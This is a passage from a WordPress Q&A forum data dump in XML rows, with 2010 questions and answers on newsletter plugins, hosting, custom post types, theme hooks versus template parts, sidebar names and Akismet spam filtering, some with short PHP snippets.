  <row Id="2970" PostTypeId="1" CreationDate="2010-10-17T15:44:57.627" Score="0" ViewCount="119" Body="&lt;p&gt;Can you recommend a newsletter plugin? This will save me a lot of time since there are several newsletter plugins to test. I prefer the following features.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;wordpress user signup form or profile page has &quot;Subscribe to newsletter&quot; checkbox, that can be set to a default value by the admin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;mailing list for newsletter drawn from the wordpress user list. No separate list of newsletter subscribers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;newsletter only sent to users with &quot;Subscribe to newsletter&quot; setting enabled.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The content of the newsletters can be edited by the admin on a editing page online, preferably with an html editor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;after editing the content of the newsletter, have a send button, or move the newsletter to draft status.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2010-11-06T03:49:14.037" Title="Newsletter plugin" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="2971" PostTypeId="2" ParentId="2961" CreationDate="2010-10-17T15:52:10.590" Score="0" ViewCount="" Body="&lt;p&gt;You could also use a basic developers theme as a starting point - like &lt;a href=&quot;http://pointandstare.com/wordpress/free_themes/&quot; rel=&quot;nofollow&quot;&gt;our free one&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1288" LastActivityDate="2010-10-17T15:52:10.590" />
  <row Id="2972" PostTypeId="2" ParentId="2965" CreationDate="2010-10-17T16:29:25.650" Score="2" ViewCount="" Body="&lt;h3&gt;I would compare your hosting needs to what &lt;a href=&quot;http://vip.wordpress.com/hosting/&quot; rel=&quot;nofollow&quot;&gt;WordPress VIP Hosting&lt;/a&gt; provides for a flat rate of $500 per month with a $1,500 set up fee.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here is what they provide for that amount:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your site running on the WordPress.com grid (over 1,200 servers in three data centers)&lt;/li&gt;&#xA;&lt;li&gt;Unlimited space and bandwidth&lt;/li&gt;&#xA;&lt;li&gt;24/7 IT support&lt;/li&gt;&#xA;&lt;li&gt;Content Delivery Network and hourly backups&lt;/li&gt;&#xA;&lt;li&gt;Enterprise-level Akismet spam protection&lt;/li&gt;&#xA;&lt;li&gt;Optimization and security feedback on your site’s theme for a faster and more secure site&lt;/li&gt;&#xA;&lt;li&gt;Integration with WordPress.com features like Blogs of the Day, My Comments, Tag Surfer, and Gravatars&lt;/li&gt;&#xA;&lt;li&gt;Promotion of your new blogs on our Publisher Blog&lt;/li&gt;&#xA;&lt;li&gt;Sitemap and News Sitemap for better search engine and Google News exposure&lt;/li&gt;&#xA;&lt;li&gt;People logged in to WordPress.com will be logged in on your domain, making it easier for them to comment on your blog&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-10-17T16:29:25.650" />
  <row Id="2974" PostTypeId="2" ParentId="2956" CreationDate="2010-10-17T20:32:00.857" Score="0" ViewCount="" Body="&lt;p&gt;Denis is right, there's no way to actually remove categories as a taxonomy from the 'post' post-type. If you're the only user, just use screen options to remove the categories meta box. If you want to remove it for all users, or you're trying to package a theme without categories, use this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'add_meta_boxes', 'hide_categories_metabox' );&#xA;&#xA;function hide_categories_metabox() {&#xA;    remove_meta_box('categorydiv','post','side');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you really need to remove the functionality of categories altogether, hide the 'post' post type and register your own without support for categories. Just be aware that you won't be able to use WP's built-in archive functionality, at least until 3.1...? &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-10-17T20:32:00.857" CommentCount="3" />
  <row Id="2975" PostTypeId="2" ParentId="2965" CreationDate="2010-10-17T21:25:33.253" Score="1" ViewCount="" Body="&lt;p&gt;This is going to come off as totally self promotional, and I believe I responded you on the wp-hackers list already :). But.. ZippyKid.com can do this for less than the $500/month. Exact costs will be based whether we can offload some content off to a CDN, where we get a better rate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't charge any setup fees. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2010-10-17T21:25:33.253" />
  <row Id="2976" PostTypeId="2" ParentId="2080" CreationDate="2010-10-17T22:49:20.663" Score="0" ViewCount="" Body="&lt;p&gt;About moving from a Tumblr blog to Wordpress using Ben Ward PHP script (Tumblr2Wordpress). Last time I tested it, it won't generate title for anything except regular post. This could be solve (given a little knowledge of PHP script) by using Tumblr {PostSummary} block, which was design within Tumblr precisely to create title where there are none (for RSS feeds, among other things). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another important point to notice. Ben Ward great script (I really mean it: it's actually by far the best solution to move from Tumblr to Wordpress) won't import media (images for example). All images will be hot-linked to Tumblr's servers after the importation is done. Again, this issue is easily solved using one a plugin after the importation that will allow the Wordpress blog to automatically download hot-linked images. &lt;/p&gt;&#xA;" LastActivityDate="2010-10-17T22:49:20.663" />
  <row Id="2977" PostTypeId="1" AcceptedAnswerId="2979" CreationDate="2010-10-17T23:12:39.680" Score="0" ViewCount="113" Body="&lt;p&gt;I want to add new whole section of custom fields in admin UI of&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;new post page&lt;/li&gt;&#xA;&lt;li&gt;edit post page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Could somebody suggest any nice code example?&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2010-10-18T03:44:23.570" Title="how to add custom fields into new &amp; update post page?" Tags="&lt;plugin-development&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="2978" PostTypeId="2" ParentId="1770" CreationDate="2010-10-18T02:17:20.823" Score="0" ViewCount="" Body="&lt;p&gt;Weird. I am having the same issue. I'm at kellycain.com and my wordpress now redirects to kellycain.com I tried deleting the page, and then when I re-added the page, it redirected me to kellycain.com/photog-2. any ideas? &lt;/p&gt;&#xA;" LastActivityDate="2010-10-18T02:17:20.823" />
  <row Id="2979" PostTypeId="2" ParentId="2977" CreationDate="2010-10-18T03:44:23.570" Score="1" ViewCount="" Body="&lt;p&gt;I think you'll find this a simple and useful tutorial to do what you want:   &lt;a href=&quot;http://wefunction.com/2009/10/revisited-creating-custom-write-panels-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wefunction.com/2009/10/revisited-creating-custom-write-panels-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-18T03:44:23.570" CommentCount="2" />
  <row Id="2980" PostTypeId="1" AcceptedAnswerId="7058" CreationDate="2010-10-18T03:50:00.613" Score="1" ViewCount="182" Body="&lt;p&gt;I need a wordpress shopping cart that will produce 2 tier product variations. For example if you pick 'option 1' for a product, sub-options 'x' 'y' 'z' will be revealed and if you pick 'option 2', sub-options 'a' 'b' 'c' will be revealed. Im OK with a commercial cart, but I haven't found any that specifically list this functionality in their documentation and since they are commercial, I can't access their respective support forums to find out more with out first purchasing the cart. Is there a cart that supports this kind of functionality?&lt;/p&gt;&#xA;" OwnerUserId="1294" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-05T21:28:57.473" LastActivityDate="2011-01-16T01:47:57.607" Title="Wordpress shopping cart that supports 2 tier product variation options" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;e-commerce&gt;&lt;paid-plugins&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="2981" PostTypeId="1" AcceptedAnswerId="2985" CreationDate="2010-10-18T03:54:55.953" Score="2" ViewCount="110" Body="&lt;p&gt;I'm just curious, because I love wordpress.&lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2011-03-04T13:08:22.197" Title="Any amazing Wordpress MultiSite sites?" Tags="&lt;3.0&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="2982" PostTypeId="1" CreationDate="2010-10-18T04:18:43.557" Score="1" ViewCount="436" Body="&lt;p&gt;Is there any way to show an image for RSS feeds in my WordPress page? Currently the default WordPress RSS feeds will only show the text of feeds from other sites. How can I make my site show a thumbnail image of RSS feeds of the other sites?&lt;/p&gt;&#xA;" OwnerUserId="1295" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-19T09:36:31.517" LastActivityDate="2010-11-10T11:12:21.843" Title="Displaying images from external RSS feeds?" Tags="&lt;images&gt;&lt;rss&gt;" AnswerCount="3" />
  <row Id="2983" PostTypeId="2" ParentId="2982" CreationDate="2010-10-18T05:25:12.160" Score="0" ViewCount="" Body="&lt;p&gt;I hope you'll get you answer here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.strangework.com/2010/02/25/how-to-add-a-post-thumbnail-to-an-rss-feed-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-10-18T05:25:12.160" CommentCount="5" />
  <row Id="2985" PostTypeId="2" ParentId="2981" CreationDate="2010-10-18T05:44:07.303" Score="3" ViewCount="" Body="&lt;p&gt;visit for demos&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpmu.org/&quot; rel=&quot;nofollow&quot;&gt;http://wpmu.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="958" LastActivityDate="2010-10-18T05:44:07.303" />
  <row Id="2986" PostTypeId="2" ParentId="2603" CreationDate="2010-10-18T06:04:28.423" Score="0" ViewCount="" Body="&lt;p&gt;I am in the exact same position you are: I am looking for a 2-tier system to handle product variations. After some extensive screwing around with the demo of Shopp, I found that it does support this kind of functionality. However, the issue is that while you can disable certain certain sub options (eg. size 12s) when the user selects other options (eg. red shoes), these disabled sub-options still appear in the drop down menu as a selection. It is not until the user reaches the shopping cart that they find out that their selection is unavailable. I can't use the forums since I haven't purchased the cart so I don't know if there is a simple hack for solving this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a global level, Shopp seems to be much better put together and organized than WP-Ecommerce. I have used the latter on many occasions and it is a total mess. &lt;/p&gt;&#xA;" OwnerUserId="1294" LastActivityDate="2010-10-18T06:04:28.423" />
  <row Id="2987" PostTypeId="2" ParentId="2919" CreationDate="2010-10-18T08:34:13.057" Score="0" ViewCount="" Body="&lt;p&gt;The value for global_terms_enabled for multisite is stored in wp_sitemeta&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-edit-category-slug-wpmu-how-to-make-it-work-with-last-wpmu-30&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-edit-category-slug-wpmu-how-to-make-it-work-with-last-wpmu-30&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I switched this to off and the category slug field reappears. If anyone can comment on whether its safe to switch this off, that would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-18T08:34:13.057" />
  <row Id="2988" PostTypeId="1" CreationDate="2010-10-18T08:34:26.253" Score="4" ViewCount="542" Body="&lt;p&gt;It seems to me both of these afford the opportunity for the end user to modify a theme without actually editing the themes files (via child themes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is one method preferred over the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example take a theme I am workig on now. I am trying to decide whether to go with template parts of hooks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part('before_sitecontainer' ); ?&amp;gt;&#xA;&amp;lt;div id=&quot;sitecontainer&quot; class=&quot;sitecontainer&quot; &amp;lt;?php //closed in footer ?&amp;gt;&amp;gt;&#xA;&#xA;&amp;lt;?php get_template_part( 'before_topcontainer' ); ?&amp;gt;&#xA;&amp;lt;div id=&quot;topcontainer &quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php get_template_part( 'before_topedge_navigation' ); ?&amp;gt;&#xA;    &amp;lt;?php get_template_part( 'topedge_navigation' ); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_template_part( 'before_site_header' ); ?&amp;gt;&#xA;    &amp;lt;?php get_template_part( 'site_header' ); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_template_part( 'before_second_navigation' ); ?&amp;gt;&#xA;    &amp;lt;?php get_template_part( 'second_navigation' ); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_template_part( 'after_second_navigation' ); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end topcontainer div --&amp;gt;&#xA;&amp;lt;?php get_template_part( 'after_topcontainer' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above allows the user of the theme to replace any section of existing code by simply creating an appropiately named file in their child theme folder as well as adding new code before/after each pre existing section by the same method - the before/after template part files don't exist in the parent theme at all and are there simply to allow them to insert code - and this method does not require they understand hooks/filters to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could of course achieve the same using hooks and filters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an advantage to using hooks/filters instead? Bearing in mind the target audience that will be using this is decidely &lt;em&gt;not&lt;/em&gt; code savvy. I can give them relatively basic instruction they can follow to use the template method but will almost surely confuse the devil out of them with hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are there situations where one would be better than the other within the same theme?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-19T06:48:00.440" Title="get_template_part vs action hooks in themes" Tags="&lt;theme-development&gt;&lt;hooks&gt;&lt;themes&gt;&lt;actions&gt;&lt;get-template-part&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="2989" PostTypeId="2" ParentId="2988" CreationDate="2010-10-18T09:28:17.327" Score="1" ViewCount="" Body="&lt;p&gt;I would say that the main difference is readability. If you see several, well named, template parts, you can grasp what is happening easily. If you just see a hook, you will need to search through the rest of the theme to establish what is attached to the hook. &lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-18T09:28:17.327" CommentCount="1" />
  <row Id="2990" PostTypeId="1" CreationDate="2010-10-18T09:29:47.183" Score="1" ViewCount="245" Body="&lt;p&gt;When I create a new user, I would like to force that user to change their password on first log in, can this be done?&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-06-25T15:14:35.940" Title="Can I force a password change?" Tags="&lt;security&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="2991" PostTypeId="1" AcceptedAnswerId="2994" CreationDate="2010-10-18T09:33:02.343" Score="1" ViewCount="523" Body="&lt;p&gt;I have a WordPress custom post-type setup. I've created&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;single-[customposttype].php &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However instead of displaying only the requested custom-post-type it goes to the URL, then displays all of the posts in the custom-type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a copy of the code i'm currently using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(&quot;post_type=shorts&quot;); while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;header-promo&quot;&amp;gt;&#xA;    &amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;mo_short_embed&quot;, true); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;content-details&quot;&amp;gt;   &#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2010-10-18T10:04:30.163" Title="WordPress custom post type Single.php?" Tags="&lt;custom-post-types&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="2992" PostTypeId="2" ParentId="2988" CreationDate="2010-10-18T09:41:14.253" Score="0" ViewCount="" Body="&lt;p&gt;It is (relatively) easy to remove function from hook in child theme, but much harder to make it ignore unwanted parent template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially working with hooks is closer to PHP side and working with templates is closer to HTML side. I use Hybrid parent theme, which is very hook-oriented. It is a bliss right until you need to get rid of some parent's template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For users that aren't tech savvy neither is very nice option. Why would they need to mess with such theme internals anyway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS also note performance issues. Stuff with hooks happens in memory, stuff with templates takes plenty of disk lookups. Especially if you are writing something like in your example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PPS not everyone's preference... but instead of writing parent theme from scratch why not take existing parent theme and provide simple child theme to user?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-18T09:41:14.253" CommentCount="5" />
  <row Id="2993" PostTypeId="1" CreationDate="2010-10-18T10:03:28.670" Score="1" ViewCount="538" Body="&lt;p&gt;I am trying to use the &lt;code&gt;orderby&lt;/code&gt; parameter in the &lt;code&gt;get_children&lt;/code&gt; function as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$navigation = get_children(array(&#xA;  'post_parent' =&amp;gt; $parent-&amp;gt;ID,&#xA;  'orderby' =&amp;gt; 'menu_order'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is having no effect on the result; it is still ordering by the default creation date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1299" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-18T20:33:56.603" LastActivityDate="2010-12-06T19:42:53.313" Title="get_children() Not Working with orderby Parameter" Tags="&lt;page&gt;&lt;get-posts&gt;&lt;posts&gt;" AnswerCount="3" />
  <row Id="2994" PostTypeId="2" ParentId="2991" CreationDate="2010-10-18T10:04:30.163" Score="5" ViewCount="" Body="&lt;p&gt;Just remove &lt;code&gt;query_posts(&quot;post_type=shorts&quot;);&lt;/code&gt; from your code.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-18T10:04:30.163" CommentCount="2" />
  <row Id="2995" PostTypeId="2" ParentId="2981" CreationDate="2010-10-18T10:14:54.730" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://thenextweb.com&quot; rel=&quot;nofollow&quot;&gt;http://thenextweb.com&lt;/a&gt; Is a good example of large-scale, high(ish) traffic MU site. Well implemented with a good design.&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2010-10-18T10:14:54.730" CommentCount="2" />
  <row Id="2996" PostTypeId="2" ParentId="2993" CreationDate="2010-10-18T10:21:36.790" Score="1" ViewCount="" Body="&lt;p&gt;Are you sure you need this specific function? Documentation (both Codex and inline) is verrry confusing. And it supposedly fetches things like attachments, which probably aren't relevant for navigation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_posts( array(&#xA;    'post_type' =&amp;gt; 'page',&#xA;    'post_parent' =&amp;gt; $parent-&amp;gt;ID,&#xA;    'orderby' =&amp;gt; 'menu_order'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-18T10:21:36.790" />
  <row Id="2997" PostTypeId="2" ParentId="2969" CreationDate="2010-10-18T13:06:58.210" Score="3" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;'orderby' =&amp;gt; 'title menu_order'&lt;/code&gt; or &lt;code&gt;&amp;amp;orderby=title menu_order&lt;/code&gt; (depending of the syntax you use for your query parameters).&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-18T13:06:58.210" CommentCount="5" />
  <row Id="2998" PostTypeId="1" AcceptedAnswerId="2999" CreationDate="2010-10-18T13:20:28.273" Score="1" ViewCount="267" Body="&lt;p&gt;I have created dynamic sidebars. They are working fine and appear in the Widgets area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to customize the name that appears on each sidebar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, right now each sidebar is named &quot;Sidebar 1&quot;, &quot;Sidebar 2&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I would like them to say something like &quot;About Sidebar&quot;, &quot;Toolkit Sidebar&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not the title (that field is blank and the user can enter whatever text they please).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help!&#xA;Jeff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how to do that.&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2010-10-18T17:55:02.577" Title="Changing name of sidebar widget" Tags="&lt;sidebar&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="2999" PostTypeId="2" ParentId="2998" CreationDate="2010-10-18T13:35:16.267" Score="2" ViewCount="" Body="&lt;p&gt;Use the 'Name' parameter in your register_sidebar call. E.g., see the following code in the default Twenty Ten theme, line 351.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function twentyten_widgets_init() {&#xA;    // Area 1, located at the top of the sidebar.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Primary Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'primary-widget-area',&#xA;        'description' =&amp;gt; __( 'The primary widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;&#xA;    // Area 2, located below the Primary Widget Area in the sidebar. Empty by default.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Secondary Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'secondary-widget-area',&#xA;        'description' =&amp;gt; __( 'The secondary widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;&#xA;    // Area 3, located in the footer. Empty by default.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'First Footer Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'first-footer-widget-area',&#xA;        'description' =&amp;gt; __( 'The first footer widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;&#xA;    // Area 4, located in the footer. Empty by default.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Second Footer Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'second-footer-widget-area',&#xA;        'description' =&amp;gt; __( 'The second footer widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;&#xA;    // Area 5, located in the footer. Empty by default.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Third Footer Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'third-footer-widget-area',&#xA;        'description' =&amp;gt; __( 'The third footer widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;&#xA;    // Area 6, located in the footer. Empty by default.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Fourth Footer Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'fourth-footer-widget-area',&#xA;        'description' =&amp;gt; __( 'The fourth footer widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;    ) );&#xA;}&#xA;/** Register sidebars by running twentyten_widgets_init() on the widgets_init hook. */&#xA;add_action( 'widgets_init', 'twentyten_widgets_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-10-18T17:55:02.577" LastActivityDate="2010-10-18T17:55:02.577" CommentCount="2" />
  <row Id="3000" PostTypeId="2" ParentId="2943" CreationDate="2010-10-18T13:51:59.820" Score="6" ViewCount="" Body="&lt;p&gt;On the Akismet side, a few things to note.  First, in wp-admin under 'Plugins -&gt; Akismet Configuration' is everything green?  You mentioned that you confirmed the API key is correct.  Did you check the 'Server Connectivity' section?  All of the IP addresses listed should be green.  If not then you server isn't able to make the needed requests to akismet.com to determine if a comment is spam or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second, as Nakodari noted, make sure that you mark any comments that Akismet missed as spam.  This allows Akismet to learn.  If spam comments have been missed, or marked by some other plugin as legit then you may be throwing off Akismet's results for your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, are there any other plugins on the site that could be interfering with Akismet?  You mentioned WP-reCAPTCHA.  Have you confirmed that WP-reCAPTCHA and/or any other plugins on the site are not preventing Akismet from doing its job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always you are welcome to drop us a line - &lt;a href=&quot;http://akismet.com/contact/&quot; rel=&quot;nofollow&quot;&gt;http://akismet.com/contact/&lt;/a&gt; - for Akismet related items.&lt;/p&gt;&#xA;" OwnerUserId="560" LastActivityDate="2010-10-18T13:51:59.820" />
  <row Id="3001" PostTypeId="1" AcceptedAnswerId="3004" CreationDate="2010-10-18T14:09:43.023" Score="2" ViewCount="383" Body="&lt;p&gt;Please at first let me explain my question. I use wordpress to create web sites for flash games, so I don't have certain page for post's. I add each game by &lt;code&gt;post-new.php?post_type=game&lt;/code&gt; and u can see it's not the regular post for wordpress. I try to use this code from codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (is_page() ) {&#xA;$category = get_post_meta($posts[0]-&amp;gt;ID, 'category', true);&#xA;}&#xA;if ($category) {&#xA;  $cat = get_cat_ID($category);&#xA;  $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;  $post_per_page = 4; // -1 shows all posts&#xA;  $do_not_show_stickies = 1; // 0 to show stickies&#xA;  $args=array(&#xA;    'category__in' =&amp;gt; array($cat),&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; $post_per_page,&#xA;    'caller_get_posts' =&amp;gt; $do_not_show_stickies&#xA;  );&#xA;  $temp = $wp_query;  // assign orginal query to temp variable for later use   &#xA;  $wp_query = null;&#xA;  $wp_query = new WP_Query($args); &#xA;  if( have_posts() ) : &#xA;  while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;     &amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); 